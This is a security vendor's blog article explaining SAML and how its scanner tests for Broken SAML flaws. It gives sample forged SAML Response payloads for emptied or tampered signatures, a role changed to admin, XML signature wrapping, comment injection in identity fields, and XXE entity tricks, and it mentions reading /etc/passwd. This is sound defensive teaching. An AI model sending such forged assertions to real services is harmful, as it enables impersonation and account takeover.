My name is Ilya and I’m a Core Developer at Bright Security. In Bright we work on a DAST (Dynamic Application Security Testing) solution that helps development teams find and fix vulnerabilities early, straight from CI/CD. My own path began in full-stack engineering, but almost a decade of shipping production code drew me ever deeper into application security. In this article I’m explaining key approaches on what SAML actually is and how we detect it in Bright using DAST.

What is SAML (Security Assertion Markup Language)?
Let’s start with the definition even though I’m quite certain you know it if you’re reading this article. SAML (Security Assertion Markup Language) is an XML-based standard for exchanging authentication and authorization data between different security domains, typically an Identity Provider (IdP) and a Service Provider (SP).
Where You'll See SAML in Action
Enterprise Single Sign-On (SSO): inside companies, employees often log in once and then can access email, CRM, cloud tools, etc., without having to authenticate again. That’s SAML making life easier behind the scenes.
Federated Identity: sometimes two different companies (or two different departments) agree to trust each other's users. SAML is often the protocol that makes this "you can use your ID from Company A to access Company B" setup work.
Why Developers (and Companies) Care About SAML
One Login to Rule Them All: SAML centralized authentication. No more users creating 10 different passwords for 10 different services (and using "Password123" for all of them).
It’s a Standard: because SAML is standardized, your app can work with any identity provider that implements SAML — Microsoft, Okta, Google Workspace, you name it.
Security Boost: сredentials stay with the IdP. The service provider just gets a signed assertion saying, “Yes, this user is legit.” The SP doesn’t know any credentials.
Why SAML Refuses to Die (and Probably Won't Anytime Soon)
Legacy Systems: big companies started using SAML over a decade ago. Moving away from it would mean rewriting tons of systems, testing for months, and basically begging for budget approval.
Compliance Rules: for some industries, SAML-based SSO isn't just “nice to have” — it’s baked into regulations and audit checklists.
Existing Trust Networks: partnerships between businesses often rely on long-standing SAML agreements. Switching protocols means legal headaches and new contracts.
In short: it’s stable, it works, and ripping it out would hurt.
Under the Hood: How SAML Actually Works

Here's a straightforward breakdown of the SAML authentication workflow:
User tries to access some protected resource.
Service Provider (SP) notices this unauthenticated user.
SP redirects the user to the Identity Provider (IdP), asking for authentication.
The user's browser gets sent over (via HTTP Redirect or POST) to the IdP.
User logs in (or maybe they already have a session at the IdP).
The IdP builds a SAML Assertion and signs it.
The IdP sends the signed SAML Response back to the browser.
The browser posts that response back to the SP.
The SP validates the response and signature.
The SP reads the assertion and verifies the user's identity.
The SP creates a session for the user.
The user is in! They get access to the resource they asked for.
! Important to remember: the SP and IdP never communicate to each other directly. It's all through the user's browser.
Breaking Down a SAML Assertion
Once the IdP authenticates a user it sends a SAML Assertion inside the SAML Response which represents an XML-document. A typical SAML Response looks like this:
<samlp:Response> (Root Element): metadata about the response — like who sent it, when, and where it should go.
<ds:Signature> (Optional at Response Level): a digital signature that proves the whole response wasn’t tampered with.
<Assertion> (The Important Part): here’s where the juicy details live:
<Issuer>: who issued the assertion (usually your IdP).
<ds:Signature> (Optional at Assertion Level): some IdPs sign just the assertion, others sign both the response and the assertion.
<Subject>: the actual user — includes a <NameID> (like an email or username).
<Conditions>: rules like when the assertion is valid and who can use it (audience restrictions).
<AuthnStatement>: proof of how the user authenticated (password, MFA, etc.).
<AttributeStatement>: information about the current user: email, groups, job title, etc.
SAML misconfiguration
Even though SAML is designed to be secure, small misconfigurations can blow massive holes in your app’s defenses. Here’s the common ways you can exploit Broken SAML. Different kinds of misconfiguration can be the first sign that this implementation is vulnerable.
Missing Message Signature
What it is
The SAML Response is completely missing its XML signature.
Why it’s dangerous
If an SP only checks that the assertion is signed (but not the entire SAML response) or fails to check signatures at all, an attacker can tamper with the SAML response or inject malicious content.
Impact
The SP might trust an unsigned or altered response, enabling unauthorized access or session hijacking.
Detection mechanism
Simply try to remove the response signature and see if the SP accepts the assertion.
Missing Assertion Signature
What it is
The SAML Assertion (the part that actually asserts user identity and claims) isn’t signed, even though the outer message might be signed.
Why it’s dangerous
The heart of SAML security is the assertion. If that’s unsigned, an attacker can modify user attributes, roles, or identity claims inside the assertion.
Impact
Forged or modified user data, including identity or roles, leading to impersonation or privilege escalation.
Detection mechanism
This time try to remove the assertion signature and see if the SP accepts the assertion.
Missing Both Signatures
What it is
Neither the overall SAML response nor the assertion is signed.
Why it’s dangerous
This is the worst-case scenario for signature-based integrity. If both signatures are missing and the SP does not enforce signature validation, the entire message can be altered at will by an attacker.
Impact
Total compromise of trust — an attacker can fully forge the response, granting arbitrary permissions or user identities.
Detection mechanism
Try to remove both signatures and see if the SP accepts the assertion.
SAML vulnerabilities
Invalid Signature Handling
What it is
This technique tests whether a Service Provider (SP) correctly validates digital signatures in the SAML response. It includes three vectors:
Invalid Message Signature: The outer message is signed, but the signature is tampered with or replaced.
Invalid Assertion Signature: The assertion element is signed, but with an invalid or fake signature.
Invalid Both Signatures: Both the message and assertion signatures are present, but both are invalid or replaced with garbage values.
Why it’s dangerous
If the SP fails to validate the integrity and authenticity of signatures correctly—whether in the message, the assertion, or both—it may process malicious or forged content. This opens the door to impersonation, privilege escalation, or unauthorized access.
Impact
Improper signature validation can lead to:
Acceptance of tampered SAML messages or assertions
Forging of user identities or attributes
Bypassing authentication mechanisms
Detection mechanism
Systematically replace the message and/or assertion signatures with invalid data:
Modify only the message signature
Modify only the assertion signature
Modify both signatures simultaneously
If any of these variations are accepted by the SP, it's a strong indicator of broken or insufficient signature validation logic.
<samlp:Response
ID="_someID"
Version="2.0"
IssueInstant="2025-03-21T12:34:56Z"
Destination="https://serviceprovider.com/sso/consume">
<Issuer>https://idp.example.com</Issuer>
<ds:Signature>
!!!Tampered XML signature replaces the original one!!!
</ds:Signature>
<Assertion
ID="_assertionID"
IssueInstant="2025-03-21T12:34:56Z"
Version="2.0">
<Issuer>https://idp.example.com</Issuer>
<ds:Signature>
!!!Tampered XML signature replaces the original one!!!
</ds:Signature>
<Subject>
<NameID>john.doe@example.com</NameID>
<SubjectConfirmation
Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<SubjectConfirmationData
InResponseTo="_someID"
NotOnOrAfter="2025-03-21T12:39:56Z"
Recipient="https://serviceprovider.com/sso/consume"/>
</SubjectConfirmation>
</Subject>
<Conditions
NotBefore="2025-03-21T12:34:56Z"
NotOnOrAfter="2025-03-21T12:39:56Z">
<AudienceRestriction>
<Audience>https://serviceprovider.com</Audience>
</AudienceRestriction>
</Conditions>
<AttributeStatement>
<Attribute Name="email">
<AttributeValue>john.doe@example.com</AttributeValue>
</Attribute>
<Attribute Name="role">
<AttributeValue>user</AttributeValue>
</Attribute>
</AttributeStatement>
</Assertion>
</samlp:Response>
Unsigned or Partially Signed SAML
What it is
An attacker manipulates the SAML response by removing or emptying the <Signature> element either on the entire message, the <Assertion>, or both. The result is a message with no cryptographic integrity — fully or partially unsigned.
Unsigned Message: the outer response carries a <Signature> tag with an empty or missing value.
Unsigned Assertion: only the <Assertion> section is missing a valid signature, while the message may still appear signed.
Unsigned Both: neither the message nor the assertion is signed — the entire structure is left unsigned.
Why it’s dangerous
Some Service Providers (SPs) only check for the presence of a signature tag rather than verifying its validity or scope. If signature enforcement is misconfigured, attackers can inject or modify assertions, impersonate users, or escalate privileges without detection.
Impact
From unauthorized access (e.g., logging in as another user) to full account takeover — depending on how lenient the SP's validation is.
Detection mechanism
Test with:
An empty <ds:SignatureValue> inside the Response <Signature>.
An empty <ds:SignatureValue> inside on the Assertion <Signature>.
Both <ds:SignatureValue> are empty.
If any of these are accepted, the SP is vulnerable.
<samlp:Response
ID="_someID"
Version="2.0"
IssueInstant="2025-03-21T12:34:56Z"
Destination="https://serviceprovider.com/sso/consume">
<Issuer>https://idp.example.com</Issuer>
<ds:Signature>
<ds:SignedInfo>...</ds:SignedInfo>
<ds:SignatureValue></ds:SignatureValue> <!-- empty -->
</ds:Signature>
<Assertion
ID="_assertionID"
IssueInstant="2025-03-21T12:34:56Z"
Version="2.0">
<Issuer>https://idp.example.com</Issuer>
<ds:Signature>
<ds:SignedInfo>...</ds:SignedInfo>
<ds:SignatureValue></ds:SignatureValue> <!-- empty -->
</ds:Signature>
<Subject>
<NameID>john.doe@example.com</NameID>
<SubjectConfirmation
Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<SubjectConfirmationData
InResponseTo="_someID"
NotOnOrAfter="2025-03-21T12:39:56Z"
Recipient="https://serviceprovider.com/sso/consume"/>
</SubjectConfirmation>
</Subject>
<Conditions
NotBefore="2025-03-21T12:34:56Z"
NotOnOrAfter="2025-03-21T12:39:56Z">
<AudienceRestriction>
<Audience>https://serviceprovider.com</Audience>
</AudienceRestriction>
</Conditions>
<AttributeStatement>
<Attribute Name="email">
<AttributeValue>john.doe@example.com</AttributeValue>
</Attribute>
<Attribute Name="role">
<AttributeValue>user</AttributeValue>
</Attribute>
</AttributeStatement>
</Assertion>
</samlp:Response>
Privilege Escalation
What it is
The attacker modifies user roles or privileges inside the SAML assertion. For example, changing role="user" to role="admin".
Why it’s dangerous
If the signature or claims aren’t strictly validated, or if the SP only checks partial fields, the attacker can escalate from basic user to superuser or admin.
Impact
Full administrative access, unauthorized data access, or total system compromise if the SP honors the forged roles.
Detection mechanism
If you do a black-box pentesting, try to change the role attribute to a different value: admin, administrator, moderator, etc. But if you know what roles exist in the app you can intentionally target them.
<samlp:Response
ID="_someID"
Version="2.0"
IssueInstant="2025-03-21T12:34:56Z"
Destination="https://serviceprovider.com/sso/consume">
<Issuer>https://idp.example.com</Issuer>
<ds:Signature>
<!-- XML Signature data signing the Response -->
</ds:Signature>
<Assertion
ID="_assertionID"
IssueInstant="2025-03-21T12:34:56Z"
Version="2.0">
<Issuer>https://idp.example.com</Issuer>
<ds:Signature>
<!-- XML Signature data signing the Assertion -->
</ds:Signature>
<Subject>
<NameID>john.doe@example.com</NameID>
<SubjectConfirmation
Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<SubjectConfirmationData
InResponseTo="_someID"
NotOnOrAfter="2025-03-21T12:39:56Z"
Recipient="https://serviceprovider.com/sso/consume"/>
</SubjectConfirmation>
</Subject>
<Conditions
NotBefore="2025-03-21T12:34:56Z"
NotOnOrAfter="2025-03-21T12:39:56Z">
<AudienceRestriction>
<Audience>https://serviceprovider.com</Audience>
</AudienceRestriction>
</Conditions>
<AttributeStatement>
<Attribute Name="email">
<AttributeValue>john.doe@example.com</AttributeValue>
</Attribute>
<Attribute Name="role">
<AttributeValue>admin</AttributeValue> <!-- Replaced the role user → admin -->
</Attribute>
</AttributeStatement>
</Assertion>
</samlp:Response>
XML Signature Wrapping Attacks
What it is
The attacker injects an unsigned, malicious <Assertion> or <Response> element into a SAML message before the legitimate, signed one. The Service Provider (SP) validates the signature on the legitimate part — but incorrectly processes attributes or authentication data from the attacker-controlled element.
Why it’s dangerous
If the SP doesn’t strictly validate the XML structure or enforce that the signed element is the one actually used, it may trust and act on malicious data. This opens the door to unauthorized access, privilege escalation, or impersonation.
Impact
Admin access, identity spoofing, or arbitrary claims injection — even though the attacker does not control the signed content. A full compromise is possible if the SP uses attributes from the forged assertion.
Detection mechanism
Inject an additional <Assertion> or <Response> before the valid signed one. Modify key attributes in the malicious assertion (e.g., set Role=admin or Email=admin@example.com). If the SP logs you in as another user or with elevated privileges, it is vulnerable.
<!-- Variant 1: two separate SAML responses, malicious one comes first -->
<Response ID="_evilresp"> <!-- Unsigned, malicious response first -->
<Assertion ID="_evilassertion">
<AttributeStatement>
<Attribute Name="Role">admin</Attribute>
</AttributeStatement>
</Assertion>
</Response>
<Response ID="_goodresponse"> <!-- Legitimate, signed response second -->
<Assertion ID="_goodassertion">
<Signature>...valid signature...</Signature>
<AttributeStatement>
<Attribute Name="Role">user</Attribute>
</AttributeStatement>
</Assertion>
</Response>
<!-- Variant 2: one SAML Response containing two Assertions,
the forged one is placed before the legitimate signed one -->
<samlp:Response ...>
<!-- Forged Assertion placed first -->
<saml:Assertion ID="_forged-assertion">
<Subject>admin@example.com</Subject>
</saml:Assertion>
<!-- Legitimate Assertion with valid signature -->
<saml:Assertion ID="_legitimate-assertion">
<ds:Signature>LAS</ds:Signature>
<Subject>user@example.com</Subject>
</saml:Assertion>
</samlp:Response>
XML Comment Handling
What it is
An attacker who already has authenticated access to the SSO system can impersonate another user by injecting an XML comment (<!-- -->) into the username (e.g., <NameID>) field of a SAML assertion. For example:
<NameID>admin<!--ignore-->@example.com</NameID>
Some SAML libraries incorrectly parse or reconstruct this field, leading to identity confusion.
Why it’s dangerous
If the Service Provider (SP) does not correctly canonicalize and validate the value, it may resolve admin<!--ignore-->@example.com as admin@example.com and grant access to another user's account — without needing their credentials. This makes impersonation trivial for an already logged-in attacker.
Impact
Account takeover of any user the attacker targets — including administrators — simply by manipulating the <NameID> or other identifier fields with comment injection.
Detection mechanism
During testing, modify the SAML assertion to include an XML comment in the username or identifier fields. For example, split the value like john<!--test-->@example.com. If the SP authenticates the attacker as john@example.com, it's vulnerable.
Known vulnerable libraries/products (patched)
OneLogin python-saml – CVE-2017-11427
OneLogin ruby-saml – CVE-2017-11428
Clever saml2-js – CVE-2017-11429
OmniAuth-SAML – CVE-2017-11430
Shibboleth – CVE-2018-0489
Duo Network Gateway – CVE-2018-7340
<samlp:Response
ID="_someID"
Version="2.0"
IssueInstant="2025-03-21T12:34:56Z"
Destination="https://serviceprovider.com/sso/consume">
<Issuer>https://idp.example.com</Issuer>
<ds:Signature>
<!-- XML Signature data signing the Response -->
</ds:Signature>
<Assertion
ID="_assertionID"
IssueInstant="2025-03-21T12:34:56Z"
Version="2.0">
<Issuer>https://idp.example.com</Issuer>
<ds:Signature>
<!-- XML Signature data signing the Assertion -->
</ds:Signature>
<Subject>
<NameID>john.doe@example.com</NameID>
<SubjectConfirmation
Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<SubjectConfirmationData
InResponseTo="_someID"
NotOnOrAfter="2025-03-21T12:39:56Z"
Recipient="https://serviceprovider.com/sso/consume"/>
</SubjectConfirmation>
</Subject>
<Conditions
NotBefore="2025-03-21T12:34:56Z"
NotOnOrAfter="2025-03-21T12:39:56Z">
<AudienceRestriction>
<Audience>https://serviceprovider.com</Audience>
</AudienceRestriction>
</Conditions>
<AttributeStatement>
<Attribute Name="email">
<AttributeValue>
john.doe@example.com<!--XMLCOMMENT-->..evil.com
</AttributeValue>
</Attribute>
<Attribute Name="role">
<AttributeValue>user</AttributeValue>
</Attribute>
</AttributeStatement>
</Assertion>
</samlp:Response>
XXE (XML External Entity) in Broken SAML
What it is
Some XML parsers support external entity declarations, which act like macros or shortcuts in the document. For example:
<!ENTITY s "s">
<!ENTITY f1 "f1">
When a SAML Response includes values like &s;&f1;taff1, the parser expands them into staff1 after signature verification. This leads to a mismatch between what was signed by the Identity Provider (IdP) and what the Service Provider (SP) actually processes.
Why it’s dangerous
Signature Bypass: The IdP signs one version of the XML, but entity expansion causes the SP to validate a structurally different document, allowing subtle data tampering while the signature still appears valid.
Attribute Forgery: Attackers can inject or alter sensitive fields such as uid, email, or role using crafted entities — bypassing normal integrity checks.
Full XXE Exploitation: If the SP’s XML parser allows external entity resolution, this can escalate into a classic XXE attack — enabling attackers to read server files (e.g., /etc/passwd) or perform SSRF.
Impact
Unauthorized access or privilege escalation by tampering with signed data.
Potential server-side data leakage or internal network access if XXE is triggered.
Detection mechanism
Craft a SAML response where attribute values use custom entities (e.g., &uid1;). If the SP resolves these post-signature and grants access based on the expanded value, it’s vulnerable. Also test for classic XXE payloads to detect file read or SSRF behavior.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Response [
<!ENTITY s "s">
<!ENTITY f1 "f1">
]>
<saml2p:Response
xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"
ID="_04cfe67e596b7449d05755049ba9ec28"
InResponseTo="_dbb85ce7ff81905a3a7b448afb3a4b"
IssueInstant="2017-12-08T15:15:56.062Z"
Version="2.0">
[...]
<saml2:Attribute FriendlyName="uid"
Name="urn:oid:0.9.2342.19200300.100.1.1"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue>
&s;taf&f1;
</saml2:AttributeValue>
</saml2:Attribute>
[...]
</saml2p:Response>
Securing SAML: Don't Trust, Verify
SAML is battle-tested, widely adopted, and deeply embedded in enterprise environments — and that's exactly why it's such a high-value target. When properly configured, SAML provides a secure and efficient way to manage identity across systems. But the moment signature enforcement, entity resolution, or assertion validation is even slightly misconfigured, attackers can turn that same convenience into a foothold for privilege escalation, impersonation, and full account takeovers.
What makes Broken SAML particularly dangerous is how invisible these issues can be in production. The application appears to work. Users authenticate. Sessions are created. But under the hood, trust boundaries may already be breached. Many of the vulnerabilities discussed — such as unsigned assertions, signature wrapping, or XML entity misuse — don’t crash your app or throw errors. They silently let attackers through the door.
This is where Dynamic Application Security Testing (DAST) becomes essential. DAST doesn’t just lint your SAML configs or scan your source code — it behaves like an attacker. It manipulates live SAML flows, injects malformed assertions, and tests your app's real-world reaction. When applied correctly, it can reveal misconfigurations that static tools or manual reviews often miss.
At Bright Security, we believe modern DAST should go beyond scanning pages and input fields. It should understand protocols like SAML, test for these high-impact edge cases, and provide actionable insights to developers — before attackers get the chance.
Bottom line:
If your app supports SAML, make signature validation strict, enforce proper structure, and never assume a signature means security. Test it. Validate it. Break it — before someone else does.
Thanks for sticking with me through this deep dive — I appreciate you taking the time to explore these often-overlooked corners of SAML security.
If you have questions, spot something interesting in your own app, or just want to share feedback, feel free to reach out to me:
LinkedIn: https://www.linkedin.com/in/ilya-olchikov/
Telegram: @ScriptedEcho